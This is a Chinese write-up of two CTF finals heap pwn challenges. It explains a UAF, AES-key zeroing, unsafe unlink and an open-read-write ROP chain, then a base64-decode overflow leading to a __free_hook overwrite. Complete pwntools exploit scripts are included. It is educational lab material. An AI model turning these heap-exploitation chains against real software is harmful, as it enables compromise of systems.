同样的,决赛也出了两道pwn题,感觉挺有意思的,来补补wp。

heap

附件下载

环境准备

这题一开始最大的一个问题可能是题目依赖较多跑不起来,而且只给了 libc 的版本,是 2.31 9.16 版本,这个比较好说。如果是 libcrypto.1.1 这个库不存在也好说,apt 安装就好了。

照常换了 runpath 和链接器之后报了一个神奇的错误。

这里的意思就是,虽然你 elf 文件的 libc 换好了,但是 libcrypto.so.1 这个库用的是高版本的 libc,你换了之后 libcrypto.so.1 有些引用了高版本 glibc 的函数就用不了了,所以索性在加载的时候报出错误存在这个问题。

解决这个问题也很简单,如果不想影响机器的 libcrypto 库那就复制一份出来,将依赖修改到本地的备份版本即可,再用 –replace-needed 参数去替换依赖库。

例子:

1
patchelf --replace-needed libcrypto.so.1.1 ./libcrypto.so.1.1 ./heap

此时你还需要将 libcrypto.so.1.1 的依赖库换成对应的版本,才能正常运行。

最终修改完以来之后,你的两个文件依赖项应该如下所示:

这样你就能正常运行这个题目了。

题目分析

题目很友好,没有去符号,init_system 里面初始化了 Key,heap_base,和沙箱。

沙箱就是简单地禁用了 execve 调用,增删改查一应俱全,一步步分析。

下标 0-15还挺大,固定分配 0x30 大小的堆块,读入也是这么长,随后使用 AES 加密保存输入的内容。

注意到使用了 safe_malloc,而 safe_malloc 检查了 malloc 的返回值,需要与 key 所分配的堆块在同一个页上(即地址除了最低三位十六进制不同,其它必须相同),这样就会导致我们很多漏洞不能利用。

明显是存在 UAF 漏洞的。

同样 AES 加密内容改了上去。

将堆块内容 AES 解密后输出。

加密函数

可以观察到,当 a2 < 16 的时候是不会进行加密的,也就是说输入的明文会直接存储到堆上,解密函数同理。

漏洞分析

UAF是主要的漏洞点,根据UAF可以搞很多事,同时也有许多限制,来列一下目前的限制:

  1. 堆块分配的地址被定死在了堆首的第一个页
  2. 输入的内容超过16字节会被随机Key加密。
  3. 沙箱保护

对应的解决措施如下:

  1. 堆块指针被限制了那么就可以不用堆块分配指针,而是直接劫持指针,而堆攻击手法里面可以直接劫持指针的方法就是 unsafe unlink了。
  2. 被随机密钥加密首先就想到,可以利用一个 tcache bin attack 劫持 key 所在的堆块,将密钥强制写为 0 字节,这样密钥就等于已知,但是密钥有 16 个长度怎么办呢?刚好 2.31 tcache 取出 free 块的时候会清空 bk 指针,因此写入 8 字节就可以达到清空 Key 的目的。
  3. 沙箱保护 orw 即可绕过。

理论可行,下面来实践

EXP编写

据此构造交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import AES
def encrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(data)

def choice(i):
p.sendafter('>> ',str(i))

def add(idx,content):
choice(1)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
def free(idx):
choice(2)
p.sendlineafter('idx: ',str(idx))
def show(idx):
choice(3)
p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
choice(4)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)

由于 unsafe unlink 的利用手法需要知道堆指针的地址,而题目程序开了 PIE,所以第一步要先想办法泄露程序的基地址。

注意到解密函数是将内容解密到栈上输出的,因此栈上可能有可以利用的地址。

0x20 个 a 扔过去发现的确存在一个程序基地址,虽然被覆盖了两个字节,但是依稀可辨。在比赛中我选择了爆破这半个字节,但其实完全没必要,因为可以发现被覆盖的两个字节是由于自己输入了 3\n,而这里的数字输入显然使用 read,那就没必要输入这个回车,可以少覆盖一个字节,这样就完全不用爆破。

将交互函数的 line 去掉如下所示

拿到了 code_base 之后,tcache bin attack,这里这样操作:free 两个堆块,再改最后进入的堆块的 fd 指针到 key 堆块的位置。因为 2.31 版本的 tcache 有数量检查,如果检查到数量为0,即使 tcache存的堆块指针不为 0,那也不会被分配。

1
2
3
4
5
6
7
8
9
10
11
add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)
gdb.attach(p)

成功将 Key 写为 0

之后尝试泄露一下 heap 的地址,因为需要构造 unsorted bin,需要堆重叠修改 size,因此这里泄露堆地址是比较方便的。

1
2
3
4
5
6
7
8
add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))

也很简单,free 一个块让它带地址直接 show 即可,但是会用 Key 解密之后输出,因此我们想要得到原堆块的地址就需要对结果进行加密,密钥已知,也是很容易得出的。

紧接着再来一个 tcache bin attack,构造堆重叠,修改堆块的大小,free 掉,得到 unsorted bin,泄露得 libc 的地址(同时后面也是知道,我都unsafe unlink了,我还泄露libc地址干嘛呢??)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))

这里我用了 14 这个下标是因为这个地方的指针比较重要(做到后面才发现的)。

此刻,便是良机,构造 unsafe unlink。

讲解一下 unsafe unlink 的原理,glibc 除了 tcache bin 和 fastbin 是单链表管理之外,其余都是双链表管理,单链表管理的堆块普遍不参与相邻内存合并(consolidate)的操作。

而合并操作需要涉及解链(unlink),为什么需要解链才能合并。因为合并后得到是一个新的大小的堆块,不管是 small bin 还是 largebin,对大小都有严格的限制,所以合并必须 unlink。

解链我们找找 glibc 中的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

我们看到解链的一个重要操作

1
2
fd->bk = bk;
bk->fd = fd;

如果对应的堆块本身不处于被释放状态,意味着这个堆块的fd和bk指针我可以任意的修改。而合并是通过什么样的检测去判断呢,它有向前和向后两种合并的方式,从 glibc 源码中也不难看出,当 free 的一个块不在 fastbin 大小的范围内,便会尝试向前和向后合并。

向后合并

1
2
3
4
5
6
7
8
9
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}

向前合并

1
2
3
4
5
6
7
8
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

可以发现,向后合并(向较小地址)主要依赖于当前释放的这个堆块的 prev_inuse 位,如果为0证明前面(较小地址)的堆块被释放了,就要向后合并,而一旦这个位为0,则检查 prev_size 字段判断堆块的大小。

同时再来看看如果没有任何检查的 unsafe unlink 会发生什么。

由于 fd 和 bk 是我任意控制的,因此我可以将 fd+0x18 的地址写上 bk 值,将 bk+0x10 的地址写上 fd 的值。但是很不幸的,它检查了 p->fd->bk==p && p->bk->fd==p,满足这些条件才能 unlink,本意很简单,一个正常的双向链表中,任意一个链表中的元素的后一个块的前一个块肯定是自己,反之同理,如果不满足则双向链表肯定发生了问题。

当然这个 check 可以绕过,首先需要一个指向 chunk 头部的指针,因此这需要我们伪造一个 chunk,而chunk头部的指针当然就是可以用分配得到的用户指针,它存放在程序代码的 bss 段中。

把 check 的条件化简一下,因为 p->fdp->bk 都是任意值,因此不妨将它设为 x 和 y,那么就变成了 x->bk==p && y->fd==p,而 x->fdy->bk 转为指针的写法就是 *(void **)(x+0x18)=p&&*(void **)(y+0x10)=p,取第一个等式,对等号两边同时取地址得到 (x+0x10)=&p 那么 x=&p-0x18 同理 y=&p-0x10。那么绕过这个检查的主要就是需要找到一个指向头部的指针。


在上面的基础,用下面的代码,我们来观察 unsafe unlink 的图解。

1
2
3
4
5
6
7
8
9
10
11
12
13
add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
free(5)

结果如下

在这里,我分配了一个0x40的堆块,返回了 0x55555555c350 这个指针,通过堆重叠,在 0x40 的堆块里面包含了一个 0x30 的堆块,可以发现 0x40 指向分配给用户的指针指向了 0x30 这个堆块的头部,这是我们伪造的一个 fake chunk,这里其实不需要加 0x31 这个size,因为 unlink不检查这个size,这里写 0x31 主要是方便理解。

同时它的 fd 和 bk,分别赋值了 0x00005555555580800x0000555555558088,这个值其实就是因为我们伪造的堆块得到了一个指向头部的指针在 BookList 全局数组当中,因此上面的等式中的 &p 就有了,不难发现 &p = 0x555555558090,那么根据前面的 x 和 y 相关方程可得 x=0x0000555555558080y=0x0000555555558088,分别对应了这里的 fd 和 bk 的位置。

最后需要伪造 prevsize 为 0x30 和将 size 的prev_inuse设置为0,才能够成功触发 unsafe unlink。

触发了 unsafe unlink 之后,可以发现,BookList[3] 得到了一个指向自身 - 0x18 的位置,同时合并堆块的操作也是成功的,这里大小为 0x421 是因为后面还有 free 块,向前也合并了。

有了这个指针,可以任意修改 BookList[0]的值,再通过 BookList[0] 指针取读写任意的地址。此刻,malloc 已经不被需要了,我已然是无敌的状态。

这里选择劫持通过 __environ 泄露栈,用栈迁移劫持栈到堆上,在堆上提前布置好 ROP 链进行 ORW 即可。

想必也是可以一气呵成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)

show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))

#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))

edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))

edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])

p.interactive()

至此,已成艺术

最终 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
from Crypto.Cipher import AES
def encrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.encrypt(data)
def decrypt(data):
key=b'\x00'*16
cipher = AES.new(key, AES.MODE_ECB)
return cipher.decrypt(data)
#context.log_level='debug'
p=process('./heap',aslr=False)
#p=remote('47.94.85.95',28760)
libc=ELF('./libc.so.6')
#libc=ELF('/home/xia0ji233/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6')
def choice(i):
p.sendafter('>> ',str(i))

def add(idx,content):
choice(1)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)
def free(idx):
choice(2)
p.sendlineafter('idx: ',str(idx))
def show(idx):
choice(3)
p.sendlineafter('idx: ',str(idx))
def edit(idx,content):
choice(4)
p.sendlineafter('idx: ',str(idx))
p.sendafter('content: ',content)

add(0,b'a'*0x20)
show(0)
code_base=u64(p.recvuntil(b'\nP')[-8:-2].ljust(8,b'\x00'))-0x1233
success('code_base: '+hex(code_base))
add(1,b'a'*(0x8+6))
free(0)
free(1)
edit(1,p8(0xa0))
add(0,b'\x00'*8)
add(0,'\x00'*8)

add(0,b'a'*0x10)
free(0)
show(0)
show(0)
data=p.recv(16)
res=encrypt(data)
heap_addr=u64(res[8:])-0x10
success('heap_addr: '+hex(heap_addr))

add(0,decrypt(b'a'*8+p64(0x431)+p64(0)*4)[:48])
add(14,b'a'*8)
add(3,b'a'*8)
free(14)
free(3)
edit(3,p64(heap_addr+0x350))
add(2,b'a'*8)
add(3,b'a'*8)
for i in range(0x10):
add(2,b'a'*0x8)
free(3)
show(0)
data=p.recv(32)
res=encrypt(data)
#print(res.hex())
libc_addr=u64(res[8*3:8*4])-0x215be0+0x029000
success('libc_addr: '+hex(libc_addr))

add(4,b'a'*0x10)
add(5,b'a'*0x10)
add(6,b'a'*0x10)
add(7,b'a'*0x10)
free(6)
free(7)
edit(7,p64(heap_addr+0x10))
add(6,b'a'*8)
add(7,decrypt(b'\xff'*0x20))
book=code_base+0x4080
edit(3,decrypt(p64(0)+p64(0x31)+p64(book+0x18-0x18)+p64(book+0x18-0x10)+p64(0)*2))#+p64(0x30)+p64(0xc0)))
edit(14,decrypt(p64(0x30)+p64(0xc0)))
gdb.attach(p)
free(5)


edit(3,decrypt(p64(code_base+0x4100)+p64(libc_addr+libc.sym['__environ'])))
#edit(0,decrypt(p32(0x10)*4))
edit(0,p32(0x10)*2)

show(1)
res=encrypt(p.recv(16))
print(res.hex())
stack=u64(res[:8])-0x138
success('stack: '+hex(stack))

#add(4,decrypt(b'a'*0x20))
leave=code_base+0x1AA4
pop_rdi=libc_addr+0x0000000000023b6a
pop_rsi=libc_addr+0x000000000002601f
pop_rdx_ret_10=libc_addr+0x00000000000dfc12
edit(3,p64(heap_addr+0xa0))
edit(0,p64(0))
edit(3,p64(heap_addr+0x10))
edit(0,p64(0))
#add(4,decrypt(p64(pop_rdi)))

edit(3,p64(heap_addr+0x4350))
edit(0,b'/flag')
edit(3,p64(heap_addr+0x360))
edit(0,decrypt(p64(pop_rdi)+p64(heap_addr+0x4350)+p64(pop_rsi)+p64(0)+p64(libc_addr+libc.sym['open'])+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x390))
edit(0,decrypt(p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3c0))
edit(0,decrypt(p64(libc_addr+libc.sym['read'])+p64(0)*2+p64(pop_rdi+1)))
edit(3,p64(heap_addr+0x3e0))
edit(0,decrypt(p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_addr)+p64(pop_rdx_ret_10)+p64(0x30)))
edit(3,p64(heap_addr+0x3e0+0x30))
edit(0,decrypt(p64(libc_addr+libc.sym['write'])+p64(pop_rdi+1)))

edit(3,p64(stack))
gdb.attach(p,'b *0x555555555aa4')
edit(0,p64(heap_addr+0x358)+p64(leave)[:6])

p.interactive()

这里插个题外话,可能纯做 Pwn 的师傅不太清楚,Crypto 这个库安装使用以下命令

1
pip3 install cryptodome

ez_heap

附件下载

环境准备就不过多赘述了,道理都是一样的。

题目分析

堆菜单实现了存储 base64 编码和解码的增删查,虽然说菜单上看着有改的操作,也确实有对应的函数,但是没有实装。

同样的,也来分析这些函数。

base64编码增

根据输入的长度和回车的判断,去分配堆块,而这里分配的长度是 4*len/3 + 4,还算是留有余地,几乎不能够溢出。

base64解码增

这里需要注意的点来了,它这里分配的长度是 3*len/4,这个长度比较极限但是它如果强制要求你的 len 必须是 4 的倍数其实也不能利用,但是没有,所以这里打个 tag,后续着重分析这里的解码函数。

base64编码删

删不存在 UAF。


后面的base64解码删,和输出堆块就不一一演示了,都很正常的实现。

这里想起之前讲到的 base64 解码增,来看看解码函数的实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall base64decode(char *a1, unsigned __int64 len, char *a3)
{
//一大堆定义
v16 = 0LL;
while ( 1 )
{
if ( v16 >= len )
break;
//...
*a3 = ((v15 << 6) + (v14 << 12) + (v13 << 18) + v9) >> 16;
a3[1] = ((v15 << 6) + (v14 << 12) + v9) >> 8;
a3[2] = (v15 << 6) + v9;
a3 += 3;
}
return result;
}

把中间一大段去掉,保留收尾,可以发现循环条件是 v16>=len,而 a3 的输出指针每次 +3,因此这个函数在输入长度为 4 的倍数的时候是绝对好使的,但是输入是由我们控制的,因此长度可以不为 4 的倍数,而不为 4 的倍数可能会导致分配的空间不够从而导致溢出。

EXP编写

首先进行漏洞的验证。

交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def choice(i):
p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
choice(1)
p.sendafter(': ',content)
def add2(content):
choice(2)
p.sendafter(': ',content)
def free1(idx):
choice(3)
p.sendlineafter('idx:',str(idx))
def free2(idx):
choice(4)
p.sendlineafter('idx:',str(idx))
def show2(idx):
choice(8)
p.sendlineafter('idx:',str(idx))

首先看看编码一个 0x19 长度的字符串,但是去掉编码后的最后一个字节,我们来计算一下。

0x19 长度的字符编码之后应该是 0x24 字节,去掉一个字节变成 0x23 字节,然后这个长度进入选项 2,malloc 的参数为 0x23/4*3,即得到 0x18,所以最终分配得到 0x20 大小的 chunk

1
add2(base64.b64encode(b'a'*0x19)[:-1])#0

可以发现,最终的 top chunk 的 size 明显出了问题

需要分析一下为什么出现了 410061 这样奇怪的值,图中可以看出来我的输入是 YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQ=,最小化之后发现主要的问题就是 YQ= 解析成了 61 00 41 这样的字节,来看看原理。

YQ 解析成第一个 a 不奇怪,Q= 解析出第二个 00 也不奇怪,这个 = 和另外一个字节(0字节)解析成了 A,来看看为什么。

看到对最后一个字节的解析

它使用 strchr 去查找该字符串在 base 表所处的位置,对于这个函数来说,如果如果找到了则返回该字符的指针,如果找不到返回 NULL,而找零字节能不能找到呢?能!就在字符串最后面,所有字符串都是 0 结尾的,所以找到的末尾指针减去首指针得到了 0x41,而 = 又等同于 0,因此看到 a[2]=(v15<<6)+v9,也能理所当然地知道为啥是 A 了。

但是这样不太自由,因为会写 size 三个字节,因此可以考虑扩展长度,让它只能溢出一个 A 字节,这样这个 A 就能被覆盖到 size 里面构造堆重叠,然后打 tcache bin attack劫持 free hook就行了。


所以还是先泄露地址,这里虽然限制了 0x400,但是别忘了 base64编码可以扩展长度,因此很轻松构造一个unsorted bin来泄露地址。

1
2
3
4
5
6
7
add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))

这里还有一个需要注意的点,你泄露的 libc 的地址很不幸最低 2 位十六进制都是 0,所以 puts 带不出来,因此需要多覆盖一个字节才行。

libc 地址有了后面就是简单的重叠堆构造 uaf,但同样需要注意 tcache bin 有数量检测,如果正常 free 一个 tcache 再修改 fd,则分配不出来这个任意地址的 tcache,必须要free两个堆块,然后再 edit 后进入的堆块才能够成功分配出来。

分配出来就直接打 tcache bin 写 system 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
free2(3)

至此艺术已成。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import base64
context.log_level='debug'
p=process('./pwn')
# p=remote('47.94.85.95','37083')
libc=ELF('./libc-2.31.so')
def choice(i):
p.sendlineafter('Enter your choice: ',str(i))
def add1(content):
choice(1)
p.sendafter(': ',content)
def add2(content):
choice(2)
p.sendafter(': ',content)
def free1(idx):
choice(3)
p.sendlineafter('idx:',str(idx))
def free2(idx):
choice(4)
p.sendlineafter('idx:',str(idx))
def show2(idx):
choice(8)
p.sendlineafter('idx:',str(idx))

add1(b'a'*0x400)#0
add1(b'a'*0x80)#1
free1(0)
add2(base64.b64encode(b'a'*0x9))#0
show2(0)
libc_addr=(u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')&0xFFFFFFFFFFFFFF000)-0x1ed000
success('libc_addr: '+hex(libc_addr))

add2(base64.b64encode(b'a'*0x30))#1
add2(b'a')#2
add2(b'a')#3
add2(b'a')#4
free2(4)
free2(3)
free2(1)
add2(base64.b64encode(b'\x00'*0x38)[:-1])#1
free2(2)
add2(base64.b64encode(b'a'*0x18+p64(0x21)+p64(libc_addr+libc.sym['__free_hook'])))#2
add2(base64.b64encode(b'/bin/sh\0'))#3
add2(base64.b64encode(p64(libc_addr+libc.sym['system'])))
gdb.attach(p)
free2(3)
p.interactive()